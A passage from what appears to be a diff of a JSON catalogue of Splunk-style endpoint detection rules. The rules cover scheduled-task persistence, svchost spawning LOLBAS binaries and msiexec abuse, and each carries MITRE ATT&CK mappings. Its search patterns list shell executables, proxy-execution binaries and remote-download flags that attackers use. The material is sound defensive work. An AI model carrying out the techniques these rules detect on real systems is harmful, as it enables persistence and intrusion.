Public Directory", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Svchost LOLBAS Execution Process Spawn", - "description": "The following analytic detects instances of 'svchost.exe' spawning Living Off The Land Binaries and Scripts (LOLBAS) processes. It leverages Endpoint Detection and Response (EDR) data to monitor child processes of 'svchost.exe' that match known LOLBAS executables. This activity is significant as adversaries often use LOLBAS techniques to execute malicious code stealthily, potentially indicating lateral movement or code execution attempts. If confirmed malicious, this behavior could allow attackers to execute arbitrary commands, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=svchost.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `svchost_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Svchost.exe spawned a LOLBAS process on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Hidden Schedule Task Settings", - "description": "The following analytic detects the creation of hidden scheduled tasks on Windows systems, which are not visible in the UI. It leverages Windows Security EventCode 4698 to identify tasks where the 'Hidden' setting is enabled. This behavior is significant as it may indicate malware activity, such as Industroyer2, or the use of living-off-the-land binaries (LOLBINs) to download additional payloads. If confirmed malicious, this activity could allow attackers to execute code stealthily, maintain persistence, or further compromise the system by downloading additional malicious payloads.", - "search": "`wineventlog_security` EventCode=4698 | xmlkv Message | search Hidden = true | stats count min(_time) as firstTime max(_time) as lastTime by Task_Name, Command, Author, Hidden, dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_hidden_schedule_task_settings_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA22-257A", - "Data Destruction", - "Industroyer2", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A schedule task with hidden setting enable in host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Windows Scheduled Task Created Via XML", - "description": "The following analytic detects the creation of scheduled tasks in Windows using schtasks.exe with the -create flag and an XML parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it is a common technique for establishing persistence or achieving privilege escalation, often used by malware like Trickbot and Winter-Vivern. If confirmed malicious, this could allow attackers to maintain access, execute additional payloads, and potentially lead to data theft or ransomware deployment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=*create* Processes.process=\"* /xml *\" by Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_guid Processes.process_id Processes.parent_process_guid Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_scheduled_task_created_via_xml_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Scheduled Tasks", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A scheduled task process, $process_name$, with 'create' or 'delete' commands present in the command line.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Windows Scheduled Task with Highest Privileges", - "description": "The following analytic detects the creation of a new scheduled task with the highest execution privileges via Schtasks.exe. It leverages Endpoint Detection and Response (EDR) logs to monitor for specific command-line parameters ('/rl' and 'highest') in schtasks.exe executions. This activity is significant as it is commonly used in AsyncRAT attacks for persistence and privilege escalation. If confirmed malicious, this could allow an attacker to maintain persistent access and execute tasks with elevated privileges, potentially leading to unauthorized system access and data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"schtasks.exe\" Processes.process = \"*/rl *\" Processes.process = \"* highest *\" by Processes.process_name Processes.parent_process_name Processes.parent_process Processes.process Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_scheduled_task_with_highest_privileges_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "CISA AA23-347A", - "RedLine Stealer", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ creating a schedule task $process$ with highest run level privilege in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Schtasks Create Run As System", - "description": "The following analytic detects the creation of a new scheduled task using Schtasks.exe to run as the SYSTEM user. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it often indicates an attempt to gain elevated privileges or maintain persistence within the environment. If confirmed malicious, an attacker could execute code with SYSTEM-level privileges, potentially leading to data theft, ransomware deployment, or further system compromise. Immediate investigation and mitigation are crucial to prevent further damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_schtasks` Processes.process=\"*/create *\" AND Processes.process=\"*/ru *\" AND Processes.process=\"*system*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_schtasks_create_run_as_system_filter`", - "tags": { - "analytic_story": [ - "Qakbot", - "Scheduled Tasks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An $process_name$ was created on endpoint $dest$ attempting to spawn as SYSTEM.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "WinEvent Scheduled Task Created to Spawn Shell", - "description": "The following analytic detects the creation of scheduled tasks designed to execute commands using native Windows shells like PowerShell, Cmd, Wscript, or Cscript. It leverages Windows Security EventCode 4698 to identify when such tasks are registered. This activity is significant as it may indicate an attempt to establish persistence or execute malicious commands on a system. If confirmed malicious, this could allow an attacker to maintain access, execute arbitrary code, or escalate privileges, posing a severe threat to the environment.", - "search": "`wineventlog_security` EventCode=4698 TaskContent IN (\"*powershell.exe*\", \"*wscript.exe*\", \"*cscript.exe*\", \"*cmd.exe*\", \"*sh.exe*\", \"*ksh.exe*\", \"*zsh.exe*\", \"*bash.exe*\", \"*scrcons.exe*\", \"*pwsh.exe*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TaskName, TaskContent | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winevent_scheduled_task_created_to_spawn_shell_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Ransomware", - "Ryuk Ransomware", - "Scheduled Tasks", - "Windows Error Reporting Service Elevation of Privilege Vulnerability", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task was created (task name=$TaskName$) on $dest$ by the following command: $TaskContent$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "WinEvent Scheduled Task Created Within Public Path", - "description": "The following analytic detects the creation of scheduled tasks within user-writable paths using Windows Security EventCode 4698. It identifies tasks registered via schtasks.exe or TaskService that execute commands from directories like Public, ProgramData, Temp, and AppData. This behavior is significant as it may indicate an attempt to establish persistence or execute unauthorized commands. If confirmed malicious, an attacker could maintain long-term access, escalate privileges, or execute arbitrary code, posing a severe threat to system integrity and security.", - "search": "`wineventlog_security` EventCode=4698 TaskContent IN (\"*\\\\users\\\\public\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer, TaskName, TaskContent | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `winevent_scheduled_task_created_within_public_path_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "AsyncRAT", - "CISA AA22-257A", - "CISA AA23-347A", - "Data Destruction", - "IcedID", - "Industroyer2", - "Prestige Ransomware", - "Ransomware", - "Ryuk Ransomware", - "Scheduled Tasks", - "Windows Persistence Techniques", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A windows scheduled task was created (task name=$TaskName$) on $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -235677,551 +179179,6 @@ "source_data_element": "host", "relationship": "blocked listener on", "target_data_element": "process" - }, - { - "name": "Uninstall App Using MsiExec", - "description": "The following analytic detects the uninstallation of applications using msiexec with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it is an uncommon practice in enterprise environments and has been associated with malicious behavior, such as disabling antivirus software. If confirmed malicious, this could allow an attacker to remove security software, potentially leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=msiexec.exe Processes.process= \"* /qn *\" Processes.process= \"*/X*\" Processes.process= \"*REBOOT=*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uninstall_app_using_msiexec_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $process_name$ with a cmdline $process$ in host $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows MSIExec DLLRegisterServer", - "description": "The following analytic detects the execution of msiexec.exe with the /y switch parameter, which enables the loading of DLLRegisterServer. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and parent-child process relationships. This activity is significant because it can indicate an attempt to register malicious DLLs, potentially leading to code execution or persistence on the system. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msiexec` Processes.process IN (\"*/y*\", \"*-y*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_msiexec_dllregisterserver_filter`", - "tags": { - "analytic_story": [ - "Windows System Binary Proxy Execution MSIExec" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to register a file.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows MsiExec HideWindow Rundll32 Execution", - "description": "The following analytic detects the execution of the msiexec.exe process with the /HideWindow and rundll32 command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant because it is a known tactic used by malware like QakBot to mask malicious operations under legitimate system processes. If confirmed malicious, this behavior could allow an attacker to download additional payloads, execute malicious code, or establish communication with remote servers, thereby evading detection and maintaining persistence.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = msiexec.exe Processes.process = \"* /HideWindow *\" Processes.process = \"* rundll32*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_msiexec_hidewindow_rundll32_execution_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a msiexec parent process with /hidewindow rundll32 process commandline in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows MSIExec Remote Download", - "description": "The following analytic detects the use of msiexec.exe with an HTTP or HTTPS URL in the command line, indicating a remote file download attempt. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant as it may indicate an attempt to download and execute potentially malicious software from a remote server. If confirmed malicious, this could lead to unauthorized code execution, system compromise, or further malware deployment within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msiexec` Processes.process IN (\"*http://*\", \"*https://*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_msiexec_remote_download_filter`", - "tags": { - "analytic_story": [ - "Windows System Binary Proxy Execution MSIExec" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to download a remote file.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows MSIExec Spawn Discovery Command", - "description": "The following analytic detects MSIExec spawning multiple discovery commands, such as Cmd.exe or PowerShell.exe. This behavior is identified using data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where MSIExec is the parent process. This activity is significant because MSIExec typically does not spawn child processes other than itself, making this behavior highly suspicious. If confirmed malicious, an attacker could use these discovery commands to gather system information, potentially leading to further exploitation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=msiexec.exe Processes.process_name IN (\"powershell.exe\",\"cmd.exe\", \"nltest.exe\",\"ipconfig.exe\",\"systeminfo.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_msiexec_spawn_discovery_command_filter`", - "tags": { - "analytic_story": [ - "Windows System Binary Proxy Execution MSIExec" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ running different discovery commands.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows MSIExec Spawn WinDBG", - "description": "The following analytic identifies the unusual behavior of MSIExec spawning WinDBG. It detects this activity by analyzing endpoint telemetry data, specifically looking for instances where 'msiexec.exe' is the parent process of 